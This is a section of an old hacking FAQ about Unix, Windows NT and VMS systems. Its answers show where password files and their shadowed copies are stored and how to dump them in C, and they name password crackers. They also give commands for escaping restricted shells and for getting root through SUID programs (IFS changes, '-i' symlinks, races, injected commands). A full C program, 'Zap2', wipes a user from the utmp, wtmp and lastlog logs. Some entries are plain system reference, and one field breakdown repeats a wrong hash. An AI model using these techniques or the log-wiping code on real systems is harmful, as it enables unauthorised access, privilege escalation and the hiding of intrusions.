|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-= Section A -- Computers =-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
A-01. How do I access the password file under Unix?
In standard Unix the password file is /etc/passwd. On a Unix system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere. An entry in the password file consists of seven colon
delimited fields:
Username
Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory
Shell
]
] Sample entry from /etc/passwd:
]
] voyager:5fg63fhD3d5gh:9406:12:The Voyager:/home/voyager:/bin/bash
]
Broken down, this passwd file line shows:
Username: voyager
Encrypted password: 5fg63fhD3d5gh
User number: 9406
Group Number: 12
GECOS Information: The Voyager
Home directory: /home/voyager
Shell: /bin/bash
---------------------------------------------------------------------------
A-02. How do I crack Unix passwords?
Contrary to popular belief, Unix passwords cannot be decrypted. Unix
passwords are encrypted with a one way function. The login program
accepts the text you enter at the "Password:" prompt and then runs it
through a cryptographic algorithm. The results of that algorithm are
then compared against the encrypted form of your password stored in the
passwd file.
On a more technical level, the password that you enter is used as a key
to encrypt a 64-bit block of NULLs. The first seven bits of each
character are extracted to form a 56-bit key. This means that only
eight characters are significant in a standard Unix password. The
E-table is then modified using the salt, which is a 12-bit value,
coerced into the first two chars of the stored passwd. The salt's
purpose is to make precompiled passwordd lists and DES hardware chips
more time consuming to use. DES is then invoked for 25 iterations. The
64-bit output block and is then coerced into a 64-character alphabet
(A-Z,a-z,".","/"). This involves translations in which several
different values are represented by the same character, which is why
Unix passwords cannot be decrypted.
Password cracking software uses wordlists. Each word in the wordlist is
encrypted using the algorithm described above and the salts from the
password file. The results are then compared to the encrypted form of
the target password.
The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack. For the Macintosh, try Killer Cracker or Mac Krack.
---------------------------------------------------------------------------
A-03. What is password shadowing?
Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.
On older systems, password shadowing was often defeated by using a
program that made successive calls to getpwent() to obtain the entire
password file.
Example:
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
---------------------------------------------------------------------------
A-04. Where can I find the password file if it's shadowed?
Unix Path Token
--------------------------------------------------------------------
AIX 3 and AIX 4 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix 3.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 / Solaris 2.x /etc/shadow
<optional NIS+ private secure maps>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
---------------------------------------------------------------------------
A-05. What is NIS/yp?
NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages). The purpose of NIS is to allow many
machines on a network to share configuration information, including
password data. NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:
+::0:0:::
To view the real password file use this command "ypcat passwd"
---------------------------------------------------------------------------
A-06. What are those weird characters after the comma in my passwd file?
The characters are password aging data. Password aging forces the
user to change passwords after a system administrator-specified period
of time. Password aging can also force a user to keep a password for
a certain number of weeks before changing it.
]
] Sample entry from /etc/passwd with password aging installed:
]
] voyager:5fg63fhD3d,M.z8:9406:12:The Voyager:/home/voyager:/bin/bash
]
Note the comma in the encrypted password field. The characters after
the comma are used by the password aging mechanism.
]
] Password aging characters from above example:
]
] M.z8
]
The four characters are interpreted as follows:
1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.
Three special cases should be noted:
If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.
If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.
If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password. Only root can
change that users password.
It should also be noted that the su command does not check the password
aging data. An account with an expired password can be su'd to
without being forced to change the password.
Password Aging Codes
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
---------------------------------------------------------------------------
A-07. How do I access the password file under Windows NT?
Windows NT stores encrypted password hashes in the Registry. RDISK
stores a compressed backup copy of the the password hashes is stored in
%SystemRoot%\repair\sam._.
If you can access the Registry you can use PWDump by Jeremy Allison to
view this data. The PWDump utility is freely available at
http://www.l0pht.com.
PWDump output consists of seven colon delimited fields:
Username
User number
Encrypted password
LAN Man Password Hash
Windows NT Password Hash
Full Name and Description
Home directory
]
] Sample passwd entry: (Split into two lines for readability)
]
] voyager:1000:30FA7B24C6108C5A8B4BCCA42D5816FF:
] B3823C82B43238D31BAF98FA4035255F:The Voyager, FAQ Author::
]
Broken down, this password entry shows:
Username: voyager
User number: 1000
Encrypted password: 5fg63fhD3d5gh
LAN Man Password Hash: 30FA7B24C6108C5A8B4BCCA42D5816FF
Windows NT Password Hash: B3823C82B43238D31BAF98FA4035255F
Full Name and Description: The Voyager, FAQ Author
Home directory :
---------------------------------------------------------------------------
A-08. How do I crack Windows NT passwords?
Windows NT passwords are encrypted with a one way function. This is
similar to the way that Unix stores passwords, except that the Microsoft
algorithm is significantly weaker.
Windows NT password can be cracked using wordlists. This is much the
same as attacking Unix passwords with word lists, except that Microsoft
passwords are much easier to crack.
In addition, Microsoft passwords can be brute forced. This means that
every password on the system can be retrieved.
The best cracking program for Windows NT passwords is currently
L0phtCrack by Mudge and Weld Pond. L0phtCrack is available at
http://www.l0pht.com.
---------------------------------------------------------------------------
A-09. How do I access the password file under VMS?
Under VMS, the password file is normally stored as
SYS$SYSTEM:SYSUAF.DAT. However, unlike traditional Unixen, most users
do not have access to read the password file.
Some administrators will move SYS$SYSTEM:SYSAUF.DAT, in an attempt to
increase security through obscurity. In this case, `DIR SYSAUF` or
`SHOW LOG SYSAUF` should point you to the new location of the file.
---------------------------------------------------------------------------
A-10. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.
Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.
---------------------------------------------------------------------------
A-11. What can be logged on a VMS system?
Virtually every aspect of the VMS system can be logged for
investigation. To determine the status of the accounting on your system
use the command SHOW ACCOUNTING. System accounting is a facility for
recording information about the use of the machine from a system
accounting perspective (resource logging such as CPU time, printer usage,
etc.), while system auditing is done with the aim of logging information
for the purpose of security. To enable accounting:
$ SET ACCOUNTING [/ENABLE=(Activity...)]
This enables accounting logging information to the accounting log
file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close
the current log file and open a new one with a higher version
number.
The following activities can be logged:
BATCH Termination of a batch job
DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users' messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process
SUBPROCESS Termination of a subprocess
To enable security auditing use:
$ SET AUDIT [/ENABLE=(Activity...)]
The /ALARM qualifier is used to raise an alarm to all terminals approved
as security operators, which means that you need the SECURITY
privileges. You can determine your security auditing configuration
using $ SHOW AUDIT /ALL
The security auditor can be configured to log the following
activities:
ACL Access Control List requested events
AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests
---------------------------------------------------------------------------
A-12. What privileges are available on a VMS system?
ACNT Allows you to restrain accounting messages
ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority
value
BUGCHK Allows you make bug check error log entries
BYPASS Enables you to disregard protections
CMEXEC/
CMKRNL Change to executive or kernel mode. These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
directly.
DETACH This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
EXQUOTA Allows you to exceed your disk quota
GROUP This privilege grants you permission to affect other
processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
LOG_IO Allows you to issue logical input/output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security-related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global
sections
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you to create temporary mailboxes
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the
world
To determine what privileges your process is running with issue the command:
$ show proc/priv
---------------------------------------------------------------------------
A-13. How do I break out of a restrictive shell?
A restrictive shell is a shell that has been modified to allow you to do
fewer things than a normal shell would allow you to do. It may allow
you to run only certain programs. It may stop you from changing
directories. Many sites run their own restrictive shells to allow
limited use of their systems over the Internet. Restrictive shells
often make use of the restricted shell (rsh).
On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:
:set shell=/bin/sh
then shell using this command:
:shell
Many menu based restricted shells will allow you to configure your user
environment, or to run programs that allow you to configure your user
environment. Look for configuration options that refer to executable
programs. If the program lets you define an editor, for example, try to
set your editor to "/bin/csh -i -f"
If you are not allowed to read files, try to open them inside the e-mail
program.
If you are not allowed to edit files, try to save that to file from the
e-mail program.
If your restricted shell prevents you from using the "cd" command, try
to FTP into your account and change directories. FTP can aso be used to
edit files by getting the file, editing it offline, and utting the net
file back online.
Like most hacking, trying things is often the most successful strategy.
---------------------------------------------------------------------------
A-14. How do I gain root from a SUID script or program?
1. Change IFS.
If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS. IFS is the Internal
Field Separator that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the
proceeding line as:
bin date
Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.
To change IFS, use this command:
IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell
2. link the script to -i
Create a symbolic link named "-i" to the program. Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode. This only works on suid shell scripts.
Example:
% ln suid.sh -i
% -i
#
3. Exploit a race condition
Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot
4. Send bad input to the program.
Invoke the name of the program and a separate command on the same
command line.
Example:
suidprog ; id
---------------------------------------------------------------------------
A-15. How do I erase my presence from the system logs?
Edit utmp (usually /etc/utmp), wtmp (usually /usr/adm/wtmp), and lastlog
(usually /usr/adm/lastlog) These are not text files that can be edited
by hand with vi, you must use a program specifically written for this
purpose.
Example:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
---------------------------------------------------------------------------
A-16. How do I change to directories with strange characters in them?
These directories are often used by people trying to hide information,
most often warez (commercial software).
There are several things you can do to determine what these strange
characters are. One is to use the arguments to the ls command that
cause ls to give you more information:
>From the man page for ls:
-F Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.
-q Forces printing of non-graphic characters in filenames as the
character ``?''.
-b Forces printing of non-graphic characters in the \ddd
notation, in octal.
Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine. Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.
>From the man page for cat:
-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (<Ctrl>x), where X is the key pressed with
the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The
<Del> character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as M -x, where
x is the character specified by the seven low order bits.
-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.
-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.
If the directory name includes a <SPACE> or a <TAB> you will need to
enclose the entire directory name in quotes. Example:
cd "..<TAB>"
On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special character
on your numeric keypad. When you release the <ALT> key, the special
character should appear on your screen. An ASCII chart can be very
helpful.
Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in question to another character.
>From the man page for stty:
Control assignments
control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.
start and stop are available as possible control char-
acters for the control-character C assignment.
If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding con-
trol character (for example, ^D is a <Ctrl>d; ^? is
interpreted as DELETE and ^- is interpreted as unde-
fined).
Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.
SECTION A CONTINUED |
